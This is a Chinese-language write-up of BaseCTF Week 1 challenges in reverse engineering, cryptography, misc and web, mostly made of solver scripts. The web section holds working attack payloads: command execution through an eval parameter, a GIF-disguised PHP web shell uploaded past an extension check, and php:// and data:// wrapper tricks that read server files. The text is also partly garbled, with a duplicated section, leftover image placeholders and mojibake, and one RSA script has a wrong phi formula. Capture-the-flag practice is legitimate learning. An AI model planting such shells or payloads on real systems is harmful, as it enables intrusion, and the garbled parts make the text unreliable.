baseCTF
逆向
[Week1] You are good at IDA
描述:
一个优秀的逆向手必须熟练掌握 IDA
(flag 自行补上 BaseCTF{}
,大括号内长度应为 19 个字符)
附件:You are good at ida.exe
main函数:
根据提示shift+F12
根据提示
综上
BaseCTF{Y0u_4Re_900d_47_id4}
[Week1] UPX mini
描述:什么是 UPX 呀?上网搜一下。
附件:UPX mini.exe
脱壳,注意文件路径不能有空格
QmFzZUNURntIYXYzX0BfZzBvZF90MW0zISEhfQ==
base64解码
BaseCTF{Hav3_@_g0od_t1m3!!!}
[Week1] Ez Xor
描述:你懂异或吗
附件:Xor.exe
坑点:注意大小端序的问题
查看内存:
脚本:
unsigned char ida_chars[] =
{
0xC6, 0x45, 0xEC, 0x00, 0x48, 0xC7, 0x45, 0xB0,
0x00, 0x00, 0x48, 0xC7, 0x45, 0xB8,
0x48, 0xC7, 0x45, 0xC0,0xC7, 0x45,
0xC8
};
#include <stdio.h>
#include <string.h>
int main() {
char v10[] = {
0x01, 0x09, 0x05, 0x25, 0x26, 0x2D, 0x0B, 0x1D, 0x24, 0x7A,
0x31, 0x20, 0x1E, 0x49, 0x3D, 0x67, 0x4D, 0x50, 0x08, 0x25,
0x2E, 0x6E, 0x05, 0x34, 0x22, 0x40, 0x3B, 0x25
};
char v4[] = "Xor";
char v11[28];
char v5[28];
int i;
for(i = 0; i < 28; ++i) {
v11[i] = v4[i%3] ^ i;
}
v11[29] = '\0'; // 确保字符串以空字符结尾
for(i=0; i<28; ++i)
{
v5[i] = v10[i] ^ v11[28 - i - 1];
}
v5[29] = '\0';
printf("%s\n", v11); // 添加缺失的闭合圆括号
printf("%s\n", v5);
return 0;
}
[Week1] BasePlus
描述:BaseCTF cannot be without Base
附件:BasePlus.exe
main函数:
这里跟进encode函数
ai一下就完事了
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
const char Secret[] = "/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC";
// 辅助函数:在Secret数组中查找字符的索引
int findIndex(char c) {
for (int i = 0; i < 64; i++) {
if (Secret[i] == c) {
return i;
}
}
return -1; // 如果没找到,返回-1
}
int Decode(const char *input, char *output) {
int inputLength = strlen(input);
int outputIndex = 0;
int inputIndex = 0;
while (inputIndex < inputLength) {
unsigned char encoded[4] = {0};
int blockSize = 0;
// 读取4个字符并解码
for (int i = 0; i < 4 && inputIndex < inputLength; i++) {
char c = input[inputIndex++] ^ 0xE; // 先进行XOR操作
int index = findIndex(c);
if (index == -1) {
// 处理无效字符
continue;
}
encoded[i] = index;
blockSize++;
}
// 将4个6位值转换回最多3个字节
unsigned char decoded[3];
decoded[0] = (encoded[0] << 2) | (encoded[1] >> 4);
decoded[1] = (encoded[1] << 4) | (encoded[2] >> 2);
decoded[2] = (encoded[2] << 6) | encoded[3];
// 写入解码后的字节
for (int i = 0; i < blockSize - 1; i++) {
output[outputIndex++] = decoded[i];
}
}
output[outputIndex] = '\0';
return outputIndex;
}
int main(){
char output[100];
Decode("lvfzBiZiOw7<lhF8dDOfEbmI]i@bdcZfEc^z>aD!",output);
printf("%s",output);
}
运行得到
BaseCTF{BA5e_DEcoD1N6_sEcr3t}
[Week1] ez_maze
描述:
① 组委会确认附件不含恶意代码,可放心做题。② 本题运行即退出是预期行为,不影响解题
附件:ez_maze
使用 BFS 来寻找路径
#include <stdio.h>
#include <stdbool.h>
#include <string.h>
#include <stdlib.h>
#define MAX_QUEUE 100000
const char* asc_403020 = "x$$$$$$$$$$$$$$&&&&&&$$$$$$$$$&$&$$&$$&&&&&$$&$&$$$&&$$$$&$$&$$$&&&$$$$$&$$&$$$&$&&$&$$$$$&$$$&$&$$&&&$$$&&&&&$&&&&$&$$$$$$$$$&&&&&&$$$$$$$$$&$$$$$$$$$$$&&&&$$&&&$$$$$$&&&&&&&$$$$$$$$$$$$$$&$$&$$$$$$$$$$$&$&$$$$$$$$$&&&&&&&&y";
typedef struct {
int pos;
char* path;
} State;
State queue[MAX_QUEUE];
int front = 0, rear = 0;
void enqueue(int pos, const char* path) {
queue[rear].pos = pos;
queue[rear].path = strdup(path);
rear++;
}
State dequeue() {
return queue[front++];
}
bool is_empty() {
return front == rear;
}
bool move(int* pos, char direction) {
switch(direction) {
case 'd':
if (*pos % 15 == 14) return false;
(*pos)++;
break;
case 's':
if (*pos > 209) return false;
*pos += 15;
break;
case 'w':
if (*pos <= 14) return false;
*pos -= 15;
break;
case 'a':
if (*pos % 15 == 0) return false;
(*pos)--;
break;
default:
return false;
}
return asc_403020[*pos] != '$';
}
char* bfs() {
bool visited[225] = {false};
char directions[] = "dswa";
enqueue(0, "");
visited[0] = true;
while (!is_empty()) {
State current = dequeue();
if (asc_403020[current.pos] == 'y') {
char* result = strdup(current.path);
free(current.path);
return result;
}
if (strlen(current.path) >= 34) {
free(current.path);
continue;
}
for (int i = 0; i < 4; i++) {
int new_pos = current.pos;
if (move(&new_pos, directions[i]) && !visited[new_pos]) {
visited[new_pos] = true;
char* new_path = malloc(strlen(current.path) + 2);
sprintf(new_path, "%s%c", current.path, directions[i]);
enqueue(new_pos, new_path);
free(new_path);
}
}
free(current.path);
}
return NULL;
}
int main() {
char* path = bfs();
if (path) {
printf("Path found: %s\n", path);
free(path);
} else {
printf("No path found\n");
}
return 0;
}
路径:
sssssssddddwwwddsssssssdddsssddddd
import hashlib
path = "sssssssddddwwwddsssssssdddsssddddd"
# 计算 MD5 哈希
md5_hash = hashlib.md5(path.encode()).hexdigest()
print("BaseCTF{"+md5_hash+"}")
#BaseCTF{131b7d6e60e8a34cb01801ae8de07efe}
密码学
[Week1] 你会算md5吗
附件:task.py
我们可以看到对于字符串 BaseCTF{}
中的每一个字符,都通过 MD5 哈希函数进行了哈希处理,并将每个字符的哈希值存储在列表 output
中。
要从这些哈希值反推出原始的 flag
值,我们需要逐一比较已知的哈希值与所有可能的单个字符的哈希值。由于 MD5 哈希值是固定的长度,我们可以枚举所有的 ASCII 可打印字符,计算它们的 MD5 哈希值,并与列表 output
中的哈希值进行比较。
脚本:
import hashlib
# 已知的哈希值列表
output = ['9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661',....., 'cbb184dd8e05c9709e5dcaedaa0495cf']
# 构建一个字典,键是 MD5 哈希值,值是对应的字符
hash_to_char = {}
# 尝试所有可打印的 ASCII 字符
for char in range(32, 127): # ASCII 可打印字符范围
hash_value = hashlib.md5(str(chr(char)).encode()).hexdigest()
if hash_value not in hash_to_char.values(): # 避免重复映射
hash_to_char[hash_value] = chr(char)
# 通过哈希值构建 flag
flag = 'BaseCTF{'
for hash_value in output:
if hash_value in hash_to_char:
flag += hash_to_char[hash_value]
else:
flag += '?'
flag += '}'
print("Flag:", flag)
#BaseCTF{a4bf43a5-3ff9-4764-bda2-af8ee4db9a8a}
[Week1] helloCrypto
描述:第一步,装好python;第二步,学会装库。
附件:
已知加密使用的模式是 AES-ECB,并且密钥是一个随机生成的 16 字节的值。我们还知道密钥和密文的数值表示形式。要解密这个密文,我们需要首先将已知的密钥数值转换回 16 字节的二进制形式,然后使用 AES-ECB 解密模式对密文进行解密。
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes
key1 = 208797759953288399620324890930572736628
c = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae'
key_bytes = long_to_bytes(key1)
cipher = AES.new(key_bytes, AES.MODE_ECB)
decrypted_flag = cipher.decrypt(c)
decrypted_flag = unpad(decrypted_flag, AES.block_size)
print(decrypted_flag.decode())
#BaseCTF{b80bf679-1869-4fde-b3f9-d51b872d31fb}
[Week1] ez_rsa
附件:ez_rsa.py
# -*- coding: utf-8 -*-
from Crypto.Util.number import long_to_bytes
import math
# Given values
n = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
not_phi = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
c = 37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945
e = 65537
# Calculate S
S = (not_phi - 4 - n) // 2
# Calculate D (Discriminant)
D = S * S - 4 * n
# Check if D is a perfect square
if D < 0:
raise ValueError("D is negative, no integer roots exist")
sqrt_d = int(math.isqrt(D))
# Calculate p and q
p = (S + sqrt_d) // 2
q = (S - sqrt_d) // 2
# Check if n = p * q
if p * q != n:
raise ValueError("p and q do not satisfy pq = n")
# Now calculate φ(n)
phi_n = (p - 1) * (q - 1)
# Calculate the modular inverse of e mod φ(n) to find d
d = pow(e, -1, phi_n)
# Decrypt the message
m = pow(c, d, n)
# Convert the long to bytes to get the original message
flag = long_to_bytes(m)
print(flag)
[Week1] 十七倍
描述:
只是把每个字符乘了 17 而已。
这题有四种预期解法❤
附件:
脚本:
def egcd(a, b):
# Extended Euclidean Algorithm
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
# Find the modular multiplicative inverse of a modulo m
g, x, _ = egcd(a, m)
if g != 1:
raise Exception('Modular inverse does not exist')
else:
return x % m
# Given encrypted flag
cipher = [
98, 113, 163, 181, 115, 148, 166, 43, 9, 95,
165, 146, 79, 115, 146, 233, 112, 180, 48, 79,
65, 181, 113, 146, 46, 249, 78, 183, 79, 133,
180, 113, 146, 148, 163, 79, 78, 48, 231, 77
]
# Calculate the modular inverse of 17 modulo 256
inverse = modinv(17, 256)
# Decrypt the flag
flag = ""
for c in cipher:
# Multiply by the modular inverse to decrypt
decrypted_char = (c * inverse) % 256
flag += chr(decrypted_char)
print(flag)
#BaseCTF{yoUr_CrYpt0_1earNinG_5tarTs_n0w}
[Week1] babyrsa
附件:
from Crypto.Util.number import *
flag=b'BaseCTF{}'
m=bytes_to_long(flag)
n=getPrime(1024)
e=65537
c=pow(m,e,n)
print("n =",n)
print("e =",e)
print("c =",c)
"""
n = 104183228088542215832586853960545770129432455017084922666863784677429101830081296092160577385504119992684465370064078111180392569428724567004127219404823572026223436862745730173139986492602477713885542326870467400963852118869315846751389455454901156056052615838896369328997848311481063843872424140860836988323
e = 65537
c = 82196463059676486575535008370915456813185183463924294571176174789532397479953946434034716719910791511862636560490018194366403813871056990901867869218620209108897605739690399997114809024111921392073218916312505618204406951839504667533298180440796183056408632017397568390899568498216649685642586091862054119832
"""
一个典型的RSA解密问题。我们可以利用已知的公钥(n, e)和密文(c)来恢复明文(m),也就是flag
理解RSA原理: RSA算法基于欧拉定理和模运算。公钥(n, e)用于加密,私钥(d)用于解密。其中,n是两个大素数p和q的乘积,e和d满足以下关系:
e * d = 1 (mod φ(n))
其中,φ(n)是n的欧拉函数,表示小于n且与n互质的正整数的个数。
- 计算私钥d: 由于我们已知公钥(n, e),我们可以使用扩展欧几里得算法来计算私钥d。
- 解密密文: 使用私钥d对密文c进行解密,得到明文m:
m = c^d (mod n)
脚本:
from Crypto.Util.number import *
n = 104183228088542215832586853960545770129432455017084922666863784677429101830081296092160577385504119992684465370064078111180392569428724567004127219404823572026223436862745730173139986492602477713885542326870467400963852118869315846751389455454901156056052615838896369328997848311481063843872424140860836988323
e = 65537
c = 82196463059676486575535008370915456813185183463924294571176174789532397479953946434034716719910791511862636560490018194366403813871056990901867869218620209108897605739690399997114809024111921392073218916312505618204406951839504667533298180440796183056408632017397568390899568498216649685642586091862054119832
# 使用扩展欧几里得算法计算私钥d
phi_n = (n - 1) * (n - 1)
d = inverse(e, phi_n)
# 解密密文
m = pow(c, d, n)
flag = long_to_bytes(m)
print("flag:", flag)
#BaseCTF{7d7c90ae-1127-4170-9e0d-d796efcd305b}
[Week1] ez_math
附件:
import numpy as np
from Crypto.Util.number import *
a, b, c, d = [getPrime(128) for _ in range(4)]
point1 = a * d
point2 = b * c
matrix2 = [[0, a, b], [0, c, d]]
flag = b"flag{test_flag}"
flag = bytes_to_long(flag)
def randomArray():
upper = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
low = [[1, 0, 0], [0, 1, 0], [0, 0, 1]]
for i in range(3):
for j in range(i+1, 3):
upper[i][j] = getPrime(128)
low[j][i] = getPrime(128)
result = np.array(upper) @ np.array(low)
return result
A = np.array([[flag, 0, 0]] + matrix2)
B = randomArray()
MAT = A @ B
print(point1)
print(point2)
print(MAT)
'''
85763755029292607594055805804755756282473763031524911851356658672180185707477
70470862191594893036733540494554536608294230603070251013536189798304544579643
[[73595299897883318809385485549070133693240974831930302408429664709375267345973630251242462442287906226820558620868020093702204534513147710406187365838820773200509683489479230005270823245
46106113894293637419638880781044700751458754728940339402825975283562443072980134956975133603010158365617690455079648357103963721564427583836974868790823082218575195867647267322046726830
161159443444728507357705839523372181165265338895748546250868368998015829266587881868060439602487400399254839839711192069105943123376622497847079185]
[13874395612510317401724273626815493897470313869776776437748145979913315379889260408106588331541371806148807844847909
17025249852164087827929313934411832021160463738288565876371918871371314930048841650464137478757581505369909723030523
59510107422473463833740668736202898422777415868238817665123293560097821015330]
[11314088133820151155755028207579196628679021106024798818326096960197933616112389017957501267749946871903275867785729
13883500421020573457778249958402264688539607625195400103961001780695107955462968883861677871644577542226749179056659
48528427402189936709203219516777784993195743269405968907408051071264464132448]]
'''
from Crypto.Util.number import long_to_bytes
import math
MAT_0_0 = 73595299897883318809385485549070133693240974831930302408429664709375267345973630251242462442287906226820558620868020093702204534513147710406187365838820773200509683489479230005270823245
MAT_0_1 = 46106113894293637419638880781044700751458754728940339402825975283562443072980134956975133603010158365617690455079648357103963721564427583836974868790823082218575195867647267322046726830
MAT_0_2 = 161159443444728507357705839523372181165265338895748546250868368998015829266587881868060439602487400399254839839711192069105943123376622497847079185
# 计算最大公约数
flag_gcd = math.gcd(MAT_0_0, MAT_0_1, MAT_0_2)
# 转换为字节
flag_bytes = long_to_bytes(flag_gcd)
print("Flag (bytes):", flag_bytes)
print("Flag (hex):", flag_bytes.hex())
try:
flag_str = flag_bytes.decode('ascii')
print("Flag (decoded):", flag_str)
except UnicodeDecodeError:
print("Unable to decode flag as ASCII string")
# 检查前7个字节是否为"BaseCTF"
if flag_bytes.startswith(b"BaseCTF"):
print("Flag starts with 'BaseCTF' as expected")
else:
print("Warning: Flag does not start with 'BaseCTF'")
#BaseCTF{7E9328AF-784C-8AF5-AC10-D6A8FC0977A8}
[Week1] babypack
附件:
from Crypto.Util.number import *
import random
flag=b'BaseCTF{}'
m=bytes_to_long(flag)
bin_m=bin(m)[2:]
length=len(bin_m)
a=[1]
sum=1
for i in range(length-1):
temp=random.randint(2*sum+1,4*sum)
sum=sum+temp
a.append(temp)
a=a[::-1]
c=0
for i in range(length):
if bin_m[i]=='1':
c=c+a[i]
print("a=",a)
print("c=",c)
回顾原始代码,我注意到一个关键点:a
数组是以相反的顺序构建的。这意味着 a
数组的最后一个元素实际上对应于 bin_m
的最高位。让我们基于这个观察来重新设计我们的解密方法:
from Crypto.Util.number import long_to_bytes
def read_output_file(filename):
with open(filename, 'r') as file:
content = file.read()
exec(content, globals())
return a, c
def solve_knapsack(a, c):
bin_m = []
for value in a: # 注意这里我们直接使用 a,不需要反转
if c >= value:
bin_m.append('1')
c -= value
else:
bin_m.append('0')
return ''.join(bin_m)
def main():
# Read a and c from the output.txt file
a, c = read_output_file('output.txt')
# Solve the knapsack problem
bin_m = solve_knapsack(a, c)
# Convert binary to integer, then to bytes
m = int(bin_m, 2)
flag_bytes = long_to_bytes(m)
# Print the flag as bytes and as hex
print("Flag (bytes):", flag_bytes)
print("Flag (hex):", flag_bytes.hex())
# Try to decode as ASCII
try:
flag = flag_bytes.decode('ascii')
print("Flag:", flag)
except UnicodeDecodeError:
print("Unable to decode as ASCII")
# Check if it starts with "BaseCTF{"
if flag_bytes.startswith(b"BaseCTF{"):
print("Flag starts with 'BaseCTF{' as expected")
else:
print("Warning: Flag does not start with 'BaseCTF{'")
if __name__ == "__main__":
main()
#BaseCTF{2c4b0c15-3bee-4e4a-be6e-0f21e44bd4c9}
杂项
[Week1] Base
描述:Base啊Base,去学学编码吧
附件:
KFWUM6S2KVHFKUTOOQZVUVCGNJGUOMLMLAZVE5SYGJETAYZSKZVGIR22HE======
先base32再base16即可
[Week1] 海上遇到了鲨鱼
描述:来看看网络鲨鱼吧
wireshark打开,追踪TCP流得到
}67bf613763ca-50b3-4437-7a3a-b683fe51{FTCesaB
整理一下:
BaseCTF{15ef386b-a3a7-7344-3b05-ac367316fb76}
[Week1] 人生苦短,我用Python
描述:Python写起来比C语言快多了,诶嘿~
画个图就好理解了
BaseCTF{s1Mpl3_1s_BeTt3r_Th4n_C0mPl3x}
[Week1] 根本进不去啊!
描述:
悄悄告诉你: flag 在 flag.basectf.fun
进不去!怎么想都进不去吧?
思路:
此网站打不开 所以马上考虑是否是在域名解析的时候动手脚了,实际上域名解析中有一项是TXT记录,可以存储一些字符串,所以我想一定是在这种地方做了手脚,最后使用
nslookup -type=txt flag.basectf.fun
[Week1] 你也喜欢圣物吗
描述:
where_is_key.zip真的需要密码,再找找
看到假flag的同时,真flag已经出来了,再看看
附件:
用WinHex打开图片拉到最后发现形似base64编码的字符串
52453966575539565830744F543164665256706654464E4350773D3D
RE9fWU9VX0tOT1dfRVpfTFNCPw==
DO_YOU_KNOW_EZ_LSB?
根据解码出来的数据使用Stegsolve.jar打开图片并设置如下
key=lud1_lud1
得到
仍然需要密码,不过根据提示我们已经距离flag很近了
怀疑是zip密码爆破,但没有相应的字典很难受啊,弄了很久没弄出来
后面结合提示:where_is_key.zip真的需要密码
那么是不是说明it is fake.zip不需要密码呢!
于是上网搜了搜,发现是zip伪加密
参考:CTF——MISC——zip伪加密总结_zip伪加密实验总结-CSDN博客
设置如上,然后保存解压缩得到flag.txt里面的内容
ZmxhZ3swaF9uMF9pdCdzX2Yza2V9
base64解码:
flag{0h_n0_it's_f3ke}
天呐,假的
问题不大,全选之后发现另一字符串
UW1GelpVTlVSbnN4ZFRCZmNURmZlREZmTlRGck1YMD0=
base64解码两次即可
BaseCTF{1u0_q1_x1_51k1}
[Week1] 正着看还是反着看呢?
描述:从头走到尾?从尾走到头?
附件:flag
用WinHex打开,拉到最后发现文件头并且根据题目描述,很明显了
写个脚本将其十六进制倒过来
with open('flag','rb') as f:
with open('flag1','wb') as g:
g.write(f.read()[::-1])
生成flag1文件,再次用WinHex打开,发现flag.txt字眼
猜测是文件分离
使用binwalk看一下,果然
使用foremost分离出来
在生成的output文件夹中有一个zip文件解压之后得到flag.txt
得到flag
BaseCTF{h3ll0_h4cker}
[Week1] 倒计时?海报!
BaseCTF{c0unt_d0wn_fro3_X_every_d@y_i5_re@11y_c0o1_@nd_h@rd_t0_do_1t_ev3ry_n1ght}
web
[Week1] HTTP 是什么呀
设置如图:
QmFzZUNURnsyNGI2MDg4MS1lMmEzLTQxZjktOGUxYS0yZGI2YWVkMjhiNTh9Cg==
base64解码:
BaseCTF{24b60881-e2a3-41f9-8e1a-2db6aed28b58}
[Week1] 喵喵喵´•ﻌ•`
描述:
小明在学习PHP的过程中发现,原来php也可以执行系统的命令,于是开始疯狂学习…
<?php
highlight_file(__FILE__);
error_reporting(0);
$a = $_GET['DT'];
eval($a);
?>
根据经验,查看根目录
?DT=system('ls /');
查看flag里面的内容
?DT=system('cat /flag');
BaseCTF{2dab73d0-be3e-4a8d-a053-83c9fc8a8ea0}
好久不练,都生疏了
[Week1] md5绕过欸
先饶过前两个if,一步一步来
第二个if考点:
md5弱类型,为0e开头的会被识别为科学记数法,结果均为0
现在绕第三个if,注意这里是!==
===
三个等号要求数据的值和类型是一样的,而两个等号只要求值一样
考的是MD5强碰撞,如果传参不是字符串,而是数组,md5()函数无法解出数值,就会得到===强比较的值相等
BaseCTF{021a14fa-1508-4bfa-8b32-1d39c859df42}
[Week1] upload
描述:
快来上传你最喜欢的照片吧~ 等下,这个 php 后缀的照片是什么?
文件上传一般分为两步:
- 上传文件
- 找到上传文件的位置使用工具连接
这里我直接上传了cmd.jpg,其内容如下:
GIF89a
<?= eval($_POST[cmd]); ?>
上传该文件并且BP抓包
在BP中找到该包并Ctrl+R进行改包
修改上传文件后缀名为php
观察页面信息得到上传文件的具体位置
http://challenge.basectf.fun:27689/uploads/cmd.php
如果不确定可以去浏览器输入这个网站看看对不对
一般的上传路径为upload/
或者 uploads/
这里给出了我们就不用猜了
蚁剑连接
最后点击【添加】
找到我们刚才添加的记录并双击
flag一般在根目录
查看即可
BaseCTF{546b7f0a-7915-455d-a986-ccb9538290c1}
[Week1] Aura 酱的礼物
描述:
你好呀, Aura 酱,这是给你的礼物哦~ 快打开看看里面是什么吧!
Aura 的博客似乎没有留言区?但是真的要去 Aura 的博客里面找吗?可以换个地方找吗?
哪里有感谢的一句话呢?远在天边,似乎就在眼前,就决定是他了吧!
为什么 Flag 是空的?不对劲,base64 一下再看看?
老规矩,先饶过第一个if
这里涉及到一个file_get_contents()函数,而这个函数是可以绕过的
绕过方式有多种:
使用php://input伪协议绕过
① 将要GET的参数?xxx=php://input
② 用post方法传入想要file_get_contents()函数返回的值
用data://伪协议绕过
pen=data://text/plain;base64,QXVyYQ==
QXVyYQ==:是Aura的base64编码
参考:
20210218CTF伪协议绕过file_get_contents(bugkuctf的web21御结冰城感想)-CSDN博客
CG-CTF web之 file_get_contents_die(‘file get contents! file! get! contents!’);-CSDN博客
说明我们饶过了第一个if,接着第二个if
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
die('这不是 Aura 的博客!');
}
ai一下
这段代码检查 $challenge
是否以 "http://jasmineaura.github.io"
这个字符串开头。如果 $challenge
不是以这个 URL 开头,则会触发 die()
函数,输出字符串 '这不是 Aura 的博客!'
并终止脚本的执行。
pen=data://text/plain;base64,QXVyYQ==&&challenge=http://jasmineaura.github.io
接着饶过第三个if
有点难搞,因为http://jasmineaura.github.io
的内容我们无法改变,但我可以使用@使它不会被当作url解析
pen=data://text/plain;base64,QXVyYQ==&&challenge=http://jasmineaura.github.io@localhost/index.php
根据提示,读取flag
这里使用php伪协议,需要使用编码,因为有一些字符可能是不可见的,这也对应了上面的提示:为什么 Flag 是空的?不对劲,base64 一下再看看?
pen=data://text/plain;base64,QXVyYQ==&&challenge=http://jasmineaura.github.io@localhost/index.php&gift=php://filter/convert.base64-encode/resource=flag.php
PD9waHAgLy8gQmFzZUNURnthNTA1MzIzMi02NTAxLTQ5ZjMtODNjZS0wYzhlMjMwMDY2N2Z9ICBBdXJhIOmFseacieaLv+WIsOS4gOihgOWQl++8nwo=
base64解码一下
<?php // BaseCTF{a5053232-6501-49f3-83ce-0c8e2300667f} Aura é
±æœ‰æ‹¿åˆ°ä¸€è¡€å—?
OpQQ-1724245315722)]
说明我们饶过了第一个if,接着第二个if
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
die('这不是 Aura 的博客!');
}
ai一下
这段代码检查 $challenge
是否以 "http://jasmineaura.github.io"
这个字符串开头。如果 $challenge
不是以这个 URL 开头,则会触发 die()
函数,输出字符串 '这不是 Aura 的博客!'
并终止脚本的执行。
pen=data://text/plain;base64,QXVyYQ==&&challenge=http://jasmineaura.github.io
[外链图片转存中…(img-KISlWEEL-1724245315722)]
接着饶过第三个if
有点难搞,因为http://jasmineaura.github.io
的内容我们无法改变,但我可以使用@使它不会被当作url解析
pen=data://text/plain;base64,QXVyYQ==&&challenge=http://jasmineaura.github.io@localhost/index.php
[外链图片转存中…(img-7agtURPI-1724245315722)]
根据提示,读取flag
这里使用php伪协议,需要使用编码,因为有一些字符可能是不可见的,这也对应了上面的提示:为什么 Flag 是空的?不对劲,base64 一下再看看?
pen=data://text/plain;base64,QXVyYQ==&&challenge=http://jasmineaura.github.io@localhost/index.php&gift=php://filter/convert.base64-encode/resource=flag.php
[外链图片转存中…(img-QEzuHzjZ-1724245315723)]
PD9waHAgLy8gQmFzZUNURnthNTA1MzIzMi02NTAxLTQ5ZjMtODNjZS0wYzhlMjMwMDY2N2Z9ICBBdXJhIOmFseacieaLv+WIsOS4gOihgOWQl++8nwo=
base64解码一下
<?php // BaseCTF{a5053232-6501-49f3-83ce-0c8e2300667f} Aura é
±æœ‰æ‹¿åˆ°ä¸€è¡€å—?
Ps:最后就写完了这些题,还有一题web F12查看源代码就行了,如果需要所有的wp请练习我。